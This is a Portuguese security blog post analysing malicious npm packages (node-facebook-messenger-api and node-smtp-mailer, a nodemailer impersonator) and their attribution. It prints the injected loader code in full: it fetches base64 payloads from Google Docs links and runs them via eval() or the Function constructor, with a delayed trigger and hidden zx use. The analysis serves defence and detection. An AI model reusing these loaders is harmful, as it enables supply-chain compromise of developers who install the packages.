Em 14 de março de 2025, detectamos um pacote malicioso no npm chamado node-facebook-messenger-api. A princípio, parecia ser um malware comum, embora não conseguíssemos identificar o objetivo final. Não demos muita importância até 3 de abril de 2025, quando vimos o mesmo ator de ameaça expandir seu ataque. Esta é uma breve visão geral das técnicas usadas por este atacante específico e algumas observações interessantes sobre como suas tentativas de ofuscação acabam tornando-os ainda mais óbvios.
TLDR
node-facebook-messenger-api@4.1.0, disfarçado como um wrapper legítimo do Facebook Messenger.axios e eval() para extrair um payload de um link do Google Docs — mas o arquivo estava vazio.zx biblioteca para evitar detecção, incorporando lógica maliciosa que é acionada dias após a publicação.node-smtp-mailer@6.10.0, personificando nodemailer, com a mesma lógica C2 e ofuscação.hyper-types), revelando um claro padrão de assinatura vinculando os ataques.Primeiros passos
Tudo começou em 14 de março às 04:37 UTC, quando nossos sistemas nos alertaram sobre um pacote suspeito. Foi publicado pelo usuário victor.ben0825, que também afirma ter o nome perusworld. Este é o nome de usuário do usuário que possui o repositório legítimo para esta biblioteca.

Aqui está o código que foi detectado como malicioso em node-facebook-messenger-api@4.1.0:, no arquivo messenger.js, linha 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
O atacante tentou ocultar este código em um arquivo de 769 linhas, que é uma classe grande. Aqui, eles adicionaram uma função e a estão chamando diretamente. Muito astuto, mas também muito óbvio. Tentamos buscar o payload, mas ele estava vazio. Nós o classificamos como malware e seguimos em frente.
Poucos minutos depois, o atacante publicou outra versão, 4.1.1. A única alteração parecia estar no README.md e package.json arquivos, onde eles alteraram a versão, descrição e instruções de instalação. Como marcamos o autor como um autor mal-intencionado, os pacotes a partir deste ponto foram automaticamente sinalizados como malware.
Tentativa de dissimulação
Então, em 20 de março de 2025, às 16:29 UTC, nosso sistema sinalizou automaticamente a versão 4.1.2 do pacote. Vamos ver o que havia de novo. A primeira alteração está em node-facebook-messenger-api.js, que contém:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');A alteração neste arquivo é a última linha. Não está apenas importando o messenger.js arquivo quando solicitado, isso é sempre feito quando o módulo é importado. Inteligente! A outra alteração é nesse arquivo, messenger.js. Ele removeu o código adicionado anteriormente visto e adicionou o seguinte nas linhas 197 a 219:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Aqui está uma visão geral do que ele faz:
- Ele utiliza uma verificação baseada em tempo para determinar se deve ativar o código malicioso. Ele só seria ativado cerca de 4 dias depois.
- Em vez de usar
axios, agora ele utiliza o Googlezxbiblioteca para buscar o payload malicioso. - Ele desativa o modo verboso, que também é o padrão.
- Ele então busca o código malicioso
- Ele o decodifica em base64
- Ele cria uma nova Função usando o
Function()construtor, que é efetivamente equivalente a umeval()chamada. - Ele então chama a função, passando
requirecomo um argumento.
Mas, novamente, quando tentamos buscar o arquivo, não recebemos um payload. Apenas um arquivo vazio chamado info.txt. O uso de zx é curioso. Analisamos as dependências e notamos que o pacote original continha algumas dependências:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}O pacote malicioso contém o seguinte:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}Olha só, eles adicionaram a dependência hyper-types. Muito interessante, voltaremos a isso mais algumas vezes.
Eles atacam novamente!
Então, em 3 de abril de 2025, às 06:46, um novo pacote foi lançado pelo usuário cristr. Eles lançaram opacote e node-smtp-mailer@6.10.0. Nossos sistemas o sinalizaram automaticamente por conter código potencialmente malicioso. Nós o analisamos e ficamos um pouco animados. O pacote se passa por nodemailer, apenas com um nome diferente.

Nosso sistema sinalizou o arquivo lib/smtp-pool/index.js. Percebemos rapidamente que o invasor adicionou código na parte inferior do arquivo legítimo, logo antes do final module.exports. Aqui está o que é adicionado:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Conhecemos este código! Ele está novamente com um carimbo de data/hora para ser executado apenas 4 dias depois. Tentamos, com entusiasmo, buscar o payload, mas recebemos apenas um arquivo vazio chamado beginner.txt. Booo! Analisamos as dependências novamente para ver como elas são importadas. zx. Notamos que o legítimo nodemailer o pacote possui não direto dependências, apenas devDependencies. Mas aqui está o que está no pacote malicioso:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}Você vê alguma similaridade entre este e o primeiro pacote que detectamos? É a mesma lista de dependências. O pacote legítimo não tem dependências, mas o malicioso tem. O atacante simplesmente copiou a lista completa de dependências do primeiro ataque para este.
Dependências interessantes
Então, por que eles mudaram de usar axios para zx para fazer HTTP requisições? Definitivamente para evitar a detecção. Mas o interessante é que zx não é uma dependência direta. Em vez disso, o invasor incluiu hyper-types, que é um pacote legítimo do desenvolvedor lukasbach.

Além do fato de que o repositório referenciado não existe mais, há algo interessante a ser observado aqui. Veja como há 2 dependentes? Adivinhe quem são eles.

Se o atacante realmente quisesse tentar ofuscar sua atividade, é bastante tolo depender de um pacote do qual ele é o único dependente.
Palavras Finais
Embora o atacante por trás desses pacotes npm tenha falhado em entregar um payload funcional, sua campanha destaca a evolução contínua das ameaças à Supply chain que visam o ecossistema JavaScript. O uso de execução atrasada, importações indiretas e sequestro de dependências mostra uma crescente conscientização sobre os mecanismos de detecção — e uma disposição para experimentar. Mas também mostra como a segurança operacional descuidada e padrões repetidos ainda podem denunciá-los. Como defensores, é um lembrete de que mesmo ataques falhos são inteligência valiosa. Cada artefato, truque de ofuscação e dependência reutilizada nos ajuda a construir melhores capacidades de detecção e atribuição. E o mais importante, reforça por que o monitoramento contínuo e a sinalização automatizada de registros de pacotes públicos não são mais opcionais — são críticos.
Proteja seu software agora



.avif)
